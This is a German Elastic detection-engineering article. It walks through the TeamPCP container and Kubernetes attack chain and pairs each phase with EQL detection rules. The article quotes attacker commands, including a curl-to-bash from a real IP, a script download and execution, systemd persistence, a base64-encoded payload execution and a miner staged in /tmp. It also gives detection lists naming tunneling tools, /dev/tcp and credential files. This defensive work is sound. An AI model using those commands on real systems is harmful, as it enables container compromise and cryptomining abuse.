Ruben Groenewoud

Linux- und Cloud-Erkennungstechnik – TeamPCP-Containerangriffsszenario

Diese Veröffentlichung bietet eine praxisnahe Demonstration der mehrstufigen Container-Kompromittierung durch TeamPCP und zeigt, wie Elastic's D4C Laufzeitsignale in jeder Phase der Angriffskette sichtbar macht.

14 Minuten LesezeitEnablement, Detection Engineering
Linux- und Cloud-Erkennungstechnik – TeamPCP-Containerangriffsszenario

Einführung

Im vorherigen Artikel haben wir untersucht, wie Defend for Containers (D4C) eingesetzt wird, wie sein Richtlinienmodell funktioniert und wie seine Laufzeittelemetrie strukturiert ist. Nachdem diese Grundlage geschaffen ist, besteht der nächste Schritt darin, von der Konfiguration und Feldanalyse zur angewandten Detektionstechnik überzugehen.

Dieser Beitrag beschreibt ein realistisches Container-Angriffsszenario, das auf der Cloud-nativen Ransomware-Operation TeamPCP basiert und von Flare dokumentiert wurde. Anstatt isolierte Techniken abstrakt zu analysieren, verfolgen wir den Angriff in seiner gesamten Entwicklung innerhalb einer Containerumgebung und untersuchen, wie sich jede Phase in der D4C-Telemetrie manifestiert.

Bei der Zuordnung zu MITRE ATT&CK umfasst die Aktivität in diesem Szenario nahezu den gesamten Angriffslebenszyklus. Der Eindringvorgang schreitet von der Ausführung und Entdeckung innerhalb des Containers über die Persistenz, die laterale Bewegung und die Steuerung bis hin zur Auswirkung fort.

Indem diese Verhaltensweisen einer konkreten Erkennungslogik zugeordnet werden, zeigt dieser Artikel, wie D4C Erkennungsingenieuren ermöglicht, die Kompromittierung von Containern nicht als isolierte verdächtige Befehle, sondern als Teil einer strukturierten Angriffskette zu identifizieren.

TeamPCP – eine aufstrebende Kraft in der Cloud-Native- und Ransomware-Landschaft

Dieses Szenario beschreibt die Phase der Kompromittierung und Verbreitung des Containers durch die Cloud-native Ransomware-Operation TeamPCP, die kürzlich von Flare erforscht und dokumentiert wurde. Anstatt dies als abstrakte Fallstudie zu behandeln, spiegelt der folgende Ablauf wider, wie der Angriff in der Praxis abläuft, und zeigt, wie D4C-Telemetrie und vordefinierte Erkennungsmechanismen jede Phase des Eindringens aufdecken.

Auf übergeordneter Ebene sind die Ziele des Bedrohungsakteurs in dieser Phase:

  1. Ermöglichen Sie die interaktive Codeausführung innerhalb eines Containers
  2. Ermitteln, ob die Arbeitslast in Kubernetes ausgeführt wird.
  3. Dauerhafte Umsetzung und Beharrlichkeit gewährleisten
  4. Seitliche Ausbreitung über Hülsen und Knoten
  5. Bereiten Sie die Umgebung für die Monetarisierung im großen Stil vor (Mining, Ransomware oder Weiterverkauf).

Jedes dieser Ziele hinterlässt ein beobachtbares Laufzeitverhalten, das D4C gut erkennen kann.

Phase 1 – Erste Ausführung über Download und Pipe-to-Shell

Der Angriff beginnt mit einer bekannten, aber effektiven Technik: dem Herunterladen und sofortigen Ausführen eines Skripts über eine Shell-Pipeline.

curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash

Hierbei geht es darum, eine sofortige Ausführung zu erreichen und gleichzeitig die Erstellung von Dateien zu vermeiden. Dies ist eine klassische Vorgehensweise der Spionage: keine Nutzdaten auf die Festplatte geschrieben, keine offensichtlichen Artefakte zum Scannen.

Aus der Sicht von D4C ergibt sich daraus immer noch ein höchst verdächtiges Laufzeitmuster. Ein interaktiver curl -Prozess wird innerhalb eines Containers ausgeführt und startet sofort einen Shell-Interpreter. Die Eltern-Kind-Beziehung, die Befehlszeile und der Containerkontext werden vollständig erfasst.

sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]

Diese Regel erkennt das Muster Download → Interpreter-Ausführung, selbst wenn keine Datei auf die Festplatte geschrieben wird. Die Erkennung dieses Schrittes ist von entscheidender Bedeutung, da er der erste zuverlässige Indikator für die tatsächliche Nutzung der Tastatur innerhalb eines Containers ist.

Bei der Ausführung scannt TeamPCP das Zielsystem nach konkurrierenden Mining-Prozessen und verwendet den Befehl pkill , um diese zu beenden.

pkill -9 xmrig 2>/dev/null || true
pkill -9 XMRig 2>/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2>/dev/null || true

Die Strategie von TeamPCP, Konkurrenten auszuschalten, ist im Vergleich zu der seiner Konkurrenten sehr begrenzt und konzentriert sich ausschließlich auf xmrig. Das manuelle Beenden von Prozessen in Containern ist unüblich, insbesondere wenn es über interaktive Prozesse erfolgt.

process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt beim ersten Zugriff zu folgenden Erkennungswarnungen:

Phase 2 – Kubernetes-Umgebungserkennung

Nach erfolgreicher Ausführung prüft der Angreifer, ob der Container innerhalb von Kubernetes ausgeführt wird, indem er auf ein Service-Account-Token testet:

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]

Diese Prüfung dient der Feststellung, ob sich der Angriff über den aktuellen Container hinaus ausdehnen kann. Existiert das Token, missbraucht der Angreifer die Kubernetes-API. Darüber hinaus listen die abgelegten Skripte Umgebungsvariablen und mehrere sensible Dateispeicherorte auf, was zahlreiche Warnmeldungen im Zusammenhang mit der Erkennung auslöst.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei der Erkennung zu folgenden Warnmeldungen:

Phase 3 – Seitliche Bewegung über kube.py

Wenn ein Service-Account-Token vorhanden ist, lädt der Angreifer ein Python-Skript herunter und führt es aus, das dazu dient, Pods aufzulisten und Befehle im gesamten Cluster auszuführen:

curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py

An diesem Punkt ist das Ziel des Angreifers klar: einen einzelnen kompromittierten Container in einen Ausgangspunkt für die clusterweite Verbreitung mithilfe legitimer Kubernetes-APIs zu verwandeln.

D4C erkennt diese Phase durch eine Kombination aus Datei- und Prozesstelemetrie. Ein Skript wird in ein temporäres Verzeichnis geschrieben und sofort über einen Interpreter ausgeführt, alles innerhalb einer interaktiven Container-Sitzung.

Das Erkennen eines interaktiven curl -Befehls, der eine Datei von einer entfernten Quelle abruft, ist ein starkes Erkennungssignal für veraltete Container-Workloads.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"

Die obige Erkennungsregel erkennt den Download der Remote-Datei, aber wir können noch einen Schritt weiter gehen, indem wir eine Sequenz zur Dateierstellung und anschließend zur Ausführung der Datei im selben Containerkontext erkennen:

sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable

Hier konzentrieren wir uns auf interaktive Prozesse und schließen dabei Dateien aus, die von Paketmanagern erstellt werden, da wir davon ausgehen, dass diese in typischen Arbeitslasten vorhanden sind.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei seitlicher Bewegung zu folgenden Erkennungsalarmen:

Phase 4 – Persistenz über Systemd herstellen

Persistenzmechanismen wie systemd-Dienste sind in Containerumgebungen im Allgemeinen unlogisch. Die meisten Container sind als kurzlebige, prozessbasierte Workloads konzipiert, die für das Lebenszyklusmanagement auf die Container-Runtime oder den Orchestrator angewiesen sind. Sie betreiben in der Regel kein vollständiges Init-System, und selbst wenn systemd vorhanden ist, überstehen Änderungen, die innerhalb des Containers vorgenommen werden, selten eine erneute Bereitstellung, eine Neuplanung oder einen Image-Neubau.

Daher sind Versuche, aus einem Container heraus über systemd Persistenz herzustellen, ein starkes Indiz für eine Anomalie. Sie deuten oft auf eines von zwei Dingen hin: Entweder läuft der Container mit erhöhten Berechtigungen und Zugriff auf das Host-Dateisystem, oder der Angreifer erwartet, die Containergrenze zu überwinden und seinen Persistenzmechanismus auf Knotenebene wirksam werden zu lassen.

Bei der TeamPCP-Kampagne versucht der Angreifer, durch die Erstellung eines systemd -Dienstes Persistenz herzustellen:

cat>/etc/systemd/system/teampcp-react.service<<SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF

Dieses Vorgehen entspricht nicht dem normalen Verhalten von Containern. Das Schreiben von systemd-Unit-Dateien aus einem Container heraus deutet auf die Absicht hin, über den Lebenszyklus des Containers hinaus bestehen zu bleiben, was nur dann sinnvoll ist, wenn der zugrunde liegende Host betroffen ist.

D4C erfasst dieses Verhalten als Dateierstellungsaktivität an sensiblen Systemorten, die aus einem Containerkontext stammt. Die folgende Erkennungslogik sucht nach schreiborientierten Dateiaktivitäten in gängigen Linux-Persistenzpfaden, einschließlich systemd-Diensten, Timern, Cronjobs, sudoers-Dateien und Shell-Profiländerungen:

file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron & Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
  	 "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)

Diese Erkennung konzentriert sich nicht ausschließlich auf systemd. Stattdessen modelliert es Persistenz umfassender, indem es mehrere gängige Linux-Persistenzvektoren abdeckt, die Angreifer versuchen könnten, sobald die Codeausführung erreicht ist. Durch den expliziten Ausschluss von Paketmanagern reduziert die Regel Störungen durch legitime Aktualisierungs- und Installationsvorgänge.

Die in dieser Phase ausgelöste Erkennungsregel finden Sie hier:

Dies führt bei anhaltendem Zugriff zu folgenden Erkennungsalarmen:

Wenn diese Erkennung in einem Containerkontext ausgelöst wird, ist dies ein starker Indikator für Verhalten nach einer Kompromittierung mit potenziellen Auswirkungen auf Host-Ebene. Es hebt Aktivitäten hervor, die nicht nur verdächtig, sondern auch strukturell unvereinbar mit dem erwarteten Verhalten von Containern sind.

Phase 5 – Installation der Tools zur Laufzeit

Bei Docker-basierten Bereitstellungen installiert der Angreifer die benötigten Tools dynamisch:

apk add --no-cache curl bash python3

Dadurch kann dieselbe Nutzlast ohne Änderungen auf verschiedenen Basis-Images ausgeführt werden.

Aus Sicht eines Verteidigers ist die Installation eines Laufzeitpakets innerhalb eines Containers ein starkes Indiz für Manipulationen nach der Bereitstellung. D4C erkennt dies durch Telemetrie der Prozessausführung, die mit bekannten Paketmanagern verknüpft ist.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"

Nicht alle Paketinstallationen in Containern sind schädlich. Bei der Orchestrierung müssen Container bestimmte Pakete installieren, um ausgeführt werden zu können. Da Bedrohungsakteure jedoch häufig Paketmanager verwenden, um die benötigten Tools zu installieren, ist dies ein starkes Indiz für bereits eingesetzte Container-Laufzeitumgebungen.

Die in dieser Phase ausgelöste Erkennungsregel finden Sie hier:

Dies führt bei der Installation des Tools zu folgenden Erkennungswarnungen:

Phase 6 – Tunnel- und Proxy-Zugriff einrichten

Sobald eine stabile Ausführung und Persistenz gewährleistet sind, verlagert TeamPCP seinen Fokus von der Zugriffsfunktion auf die Konnektivität. In dieser Phase setzen die Angreifer Tunneling- und Proxy-Tools wie frps und gost ein, um interne Dienste offenzulegen und einen zuverlässigen externen Zugriff aufrechtzuerhalten.

Ziel dieses Schrittes ist es, kompromittierte Container in wiederverwendbare Infrastruktur umzuwandeln. Durch die Einrichtung von Tunneln oder Weiterleitungen können die Angreifer in andere Umgebungen vordringen, Datenverkehr umleiten oder die kompromittierte Arbeitslast als Teil einer größeren Angriffskette wiederverwenden.

D4C erkennt diese Aktivität durch Telemetrie der Prozessausführung. Die Ausführung bekannter Tunneling-Tools innerhalb von Containern ist bei legitimen Workloads ungewöhnlich und fällt besonders auf, wenn sie mit interaktiver Ausführung und Containerkontext kombiniert wird.

process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy & ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"

Für Linux-Systeme stehen zahlreiche Tunneling- und Portweiterleitungstools zur Verfügung. Die oben dargestellte übergeordnete Regel nutzt eine Kombination aus regulären Ausdrücken, Prozessnamen und Prozessargumenten, um häufig beobachtete Tunneling-Aktivitäten zu erkennen.

Die in dieser Phase ausgelöste Erkennungsregel finden Sie hier:

Dies führt zu folgenden Erkennungswarnungen beim Tunneling und Proxy-Zugriff:

Die Erkennung von Tunneling ist wichtig, weil sie oft den Übergang von einer kurzzeitigen Kompromittierung zu einer anhaltenden Präsenz des Angreifers markiert. Im Zusammenhang mit früheren Stadien liefert es eine starke Bestätigung für vorsätzlichen, andauernden Missbrauch und nicht für opportunistische Taten.

Phase 7 – Ausführung der kodierten Nutzdaten

Um die Logik der Nutzlast zu verschleiern, führt der Angreifer eine Base64-kodierte Nutzlast direkt über Python aus:

python3 -c "exec(base64.b64decode('<payload>').decode())"

Diese Technik verringert die Transparenz der Nutzdaten selbst, führt aber zu besonderen Ausführungseigenschaften: kodierte Argumente werden in einer interaktiven Sitzung direkt an einen Interpreter übergeben.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"

Es gibt viele Möglichkeiten, eine Nutzlast zu dekodieren, aber die oben dargestellte übergeordnete Regel erfasst die am häufigsten beobachteten Techniken.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei der Ausführung zu folgenden Erkennungswarnungen:

Phase 8 – Miner-Bereitstellung und -Ausführung

Schließlich rekonstruiert der Angreifer einen Miner aus Base64, schreibt ihn auf die Festplatte, macht ihn ausführbar und startet ihn:

/bin/sh -c "printf IyEvYmlu<<TRUNCATED>>>***** >> /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 > /tmp/miner && chmod +x /tmp/miner && rm /tmp/miner.b64"

Diese Phase stellt den Übergang von der Einrichtung zur Monetarisierung dar. Der Angreifer missbraucht nun aktiv Clusterressourcen.

Wie bereits erwähnt, erkennt D4C die Dekodierung der Base64-Nutzdaten anhand der gleichen Regel, die im vorherigen Schritt verknüpft wurde. Drei weitere wichtige Signale, die erkannt werden sollten, sind die Erstellung einer Base64-kodierten Nutzlast, Änderungen der Dateiberechtigungen in bestimmten Verzeichnissen und die Ausführung neu erstellter Binärdateien in temporären Verzeichnissen.

Für die Erstellung von Base64-kodierten Nutzdaten wurde eine übergeordnete Regel erstellt, die die Ausführung einer Shell mit den eingebauten Funktionen echo/printf erkennt, sowie eine Whitelist häufig missbrauchter Befehlszeilen:

process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
  "*/etc/cron*", "*/etc/rc.local*", "*/dev/tcp/*", "*/etc/init.d*",
  "*/etc/update-motd.d*", "*/etc/ld.so*", "*/etc/sudoers*", "*base64 *", 
  "*base32 *", "*base16 *", "*/etc/profile*", "*/dev/shm/*", "*/etc/ssh*", 
  "*/home/*/.ssh/*", "*/root/.ssh*" , "*~/.ssh/*", "*xxd *", "*/etc/shadow*",
  "* /tmp/*", "* /var/tmp/*", "* /dev/shm/* ", "* ~/*", "* /home/*",
  "* /run/*", "* /var/run/*", "*|*sh", "*|*python*", "*|*php*", "*|*perl*",
  "*|*busybox*", "*/var/www/*", "*>*", "*;*", "*chmod *", "*rm *" 
) and container.id like "?*"

Insbesondere bei interaktiven Prozessen ist die folgende Erkennungsregel ein starkes Signal.

Der zweite Teil des Ablaufs betrifft die Änderungen der Dateiberechtigungen. Nicht alle Änderungen der Dateiberechtigungen sind bösartig, aber es ist nicht zu erwarten, dass Änderungen der Dateiberechtigungen an ausführbaren Dateien in für alle Benutzer beschreibbaren Verzeichnissen über einen interaktiven Prozess innerhalb eines Containers häufig auftreten.

any where event.category in ("file", "process") and
event.type in ("change", "creation", "start") and (
  process.name == "chmod" or
  (
    /*
    account for tools that execute utilities as a subprocess,
    in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod"
    )
  )
) and process.args in ("4755", "755", "777", "0777", "444", "+x", "a+x") and
container.id like "?*"

Beachten Sie, dass wir hier die Ereigniskategorien „Datei“ und „Prozess“ verwenden. Der Grund dafür ist, dass D4C diese Änderungen über Dateiereignisse erfasst, wenn dies in der Richtlinie explizit festgelegt ist. Standardmäßig werden diese Prozessausführungen jedoch erfasst, wenn die Erkennung von execve -Aufrufen aktiviert ist.

Der letzte Teil dieser Kette betrifft die Ausführung von Binärdateien an Orten, die für alle Benutzer beschreibbar sind. Die meisten Container-Laufzeitumgebungen führen keine Nutzdaten aus diesen Verzeichnissen aus.

process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  process.executable like (
    "/tmp/*", "/dev/shm/*", "/var/tmp/*", "/run/*", "/var/run/*",
    "/mnt/*", "/media/*", "/boot/*"
  ) or
  // Hidden process execution
  process.name like ".*"
) and container.id like "?*"

Beachten Sie, dass die Regel auch versteckte Prozessausführungen erfasst. Diese Technik wird auch häufig von Bedrohungsakteuren angewendet, da diese versuchen, einer Entdeckung zu entgehen, indem sie Prozesse als versteckt kennzeichnen.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt beim Einsatz und der Ausführung des Miners zu folgenden Erkennungswarnungen:

Phase 9 – Eskalation zur Knotensteuerung

Sobald der Angreifer Zugriff auf einen Container und ein überprivilegiertes Dienstkonto erlangt hat, besteht der nächste Schritt darin, die Kubernetes-Steuerungsebene selbst zu missbrauchen. In dieser Phase geht der Angriff über einen einzelnen Container hinaus und hat Auswirkungen auf den gesamten Cluster. Diese Aktivität wird über Kubernetes-Audit-Logs erkannt. Die durch diesen Einbruch aufgedeckten Kubernetes-Audit-Log-Regeln lassen sich in drei unterschiedliche Muster einteilen.

Phase 9.1 – Aufklärung & API-Missbrauch

Das kube.py -Skript des Angreifers verwendet das gestohlene Service-Account-Token, um Pods, Secrets und Nodes in allen Namespaces aufzulisten. Aus der Sicht von Kubernetes sieht dies so aus, als ob eine einzelne Identität eine Flut von API-Aufrufen über mehrere Ressourcentypen hinweg auslöst – ein Muster, das sich direkt der Logik zur Erkennung von Berechtigungen zuordnen lässt. Die Verwendung von Pythons urllib anstelle von kubectl ist als API-Client ebenfalls ungewöhnlich.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei der Aufklärung und dem Missbrauch der API zu folgenden Erkennungsalarmen:

Phase 9.2 – Rechteausweitung und Workload-Manipulation

Nach Abschluss der Enumeration erstellt der Angreifer ein privilegiertes DaemonSet (system-monitor) und nutzt die überprivilegierte ClusterRole, die an das kompromittierte Dienstkonto gebunden war. Sowohl die Erstellung der Arbeitslast als auch die Rolle, die sie ermöglichte, wurden gekennzeichnet: das DaemonSet als sensible Arbeitslastmodifikation und die ClusterRole-Bindung als sensible Rolle, die weitreichende Berechtigungen gewährt, einschließlich pods/exec, geheimer Zugriff und die Erstellung von DaemonSets.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei Rechteausweitung und Manipulation der Arbeitslast zu folgenden Erkennungswarnungen:

Level 9.3 – Knotenpunkt-Flucht

Die Pod-Spezifikation des DaemonSets ist darauf ausgelegt, jede Isolationsgrenze, die ein Container normalerweise bietet, zu durchbrechen. Es fordert den privilegierten Modus an, verbindet sich mit dem Host-Netzwerk und dem PID-Namensraum und bindet das Root-Dateisystem des Knotens ein. Jede dieser Eigenschaften löst eine separate Erkennungsregel aus, und zusammen ergeben sie ein klares Bild einer Container-Workload, die für den Ausbruch aus dem Node-Bereich konzipiert wurde.

Die in dieser Phase ausgelösten Erkennungsregeln finden Sie hier:

Dies führt bei einem Ausbruch auf Knotenebene zu folgenden Erkennungsalarmen:

Diese drei Teilphasen verdeutlichen auch eine wichtige Grenze bei der containerorientierten Detektion. Während D4C hervorragend darin ist, zu beobachten, was innerhalb von Containern passiert, erfordert die Identifizierung, wie und warum diese Container erstellt wurden, Kubernetes-Steuerungsebenen-Telemetrie. In einer anschließenden Artikelreihe zum Thema „Kubernetes Detection Engineering“ werden wir uns auf die Korrelation von D4C-Laufzeitereignissen mit Kubernetes-Audit-Logs konzentrieren, um mehrstufige Angriffe zu erkennen, die sich über die Erstellung von Workloads, die Rechteausweitung und die Auswirkungen auf Knotenebene erstrecken.

Für alle, die bereits mit Kubernetes-Audit-Logs vertraut sind oder mehr darüber erfahren möchten, bieten wir in unserem GitHub-Repository detection-rules mehrere vorgefertigte Erkennungsregeln an, die das Kubernetes-Audit-Log-Framework nutzen.

Phase 10 – Ausnutzung eines Webservers über React2Shell

Zusätzlich zur Ausnutzung kompromittierter Container und Kubernetes-Kontrollpfade nutzt TeamPCP auch die direkte Ausnutzung von Webservern, um Shell-Zugriff auf exponierte Dienste zu erlangen. Eine der in verwandten Kampagnen erwähnten Techniken ist React2Shell, bei der anfällige Webanwendungen missbraucht werden, um die Ausführung von Remote-Befehlen zu erreichen und in eine interaktive Shell einzudringen.

Das Ziel des Angreifers ist hier klar: den Zugriff über Kubernetes-Workloads hinaus auszuweiten und die Anzahl der Einstiegspunkte in die Umgebung zu erhöhen. Webseitige Dienste sind oft weniger streng isoliert als Container und können, wenn sie nicht gepatcht werden, einen schnellen Weg zu einer Kompromittierung auf Host-Ebene bieten.

Aus Sicht der Erkennung ist diese Aktivität bereits gut abgedeckt. Elastic bietet eine übergreifende Sicherheitslücke in Webservern, die verdächtige Befehlsausführungsmuster erkennt, die von Webserverprozessen ausgehen. Darüber hinaus identifizieren mehrere hostbasierte Linux-Erkennungssysteme das Verhalten nach der Ausnutzung einer erfolgreichen Web-Shell, wie z. B. die unerwartete Ausführung von Shells, das Starten von Befehlsinterpretern durch Webdienste und die anschließende Ausführung von Tools.

Die Erkennung dieser Phase ist wichtig, da sie einen alternativen Zugriffsweg darstellt, der die containerspezifischen Schutzmechanismen vollständig umgeht. Im Zusammenhang mit früheren D4C-Erkennungen trägt die Ausnutzung im React2Shell-Stil dazu bei, zu bestätigen, dass der Angreifer aktiv mehrere Zugriffswege verfolgt, wodurch sowohl der Wirkungsradius als auch das Persistenzpotenzial erhöht werden.

Die in dieser Phase ausgelöste Erkennungsregel finden Sie hier:

Dies führt bei Ausnutzung eines Webservers zu folgenden Erkennungswarnungen:

Die Effektivität dieses Szenarios als Erkennungsübung liegt darin, dass sich jedes wichtige Ziel des Angreifers (Ausführung, Persistenz, Verbreitung und Monetarisierung) als Laufzeitverhalten innerhalb von Containern manifestiert. Die Fähigkeit von D4C, dieses Verhalten im Kontext zu beobachten, ermöglicht es den Erkennungsingenieuren, den Angriff während seines Ablaufs zu verfolgen, anstatt ihn erst zu entdecken, nachdem der Schaden bereits entstanden ist.

Die Verknüpfung aller Elemente mit der Angriffserkennung

Die Ausführung einzelner Erkennungsregeln in der Container-Laufzeitumgebung und der Kubernetes-Audit-Telemetrie erzeugt Dutzende von Warnmeldungen, von denen jede eine einzelne verdächtige Aktion isoliert hervorhebt. Ein Verteidiger, der diese einzeln überprüft, würde hier einen privilegierten Pod, dort ein curl | bash und an anderer Stelle eine Reihe von API-Enumerationen feststellen. Die Herausforderung besteht nicht darin, Warnmeldungen zu generieren, sondern darin, zu erkennen, dass diese mehr als 130 Signale alle Teil desselben Vorgangs sind.

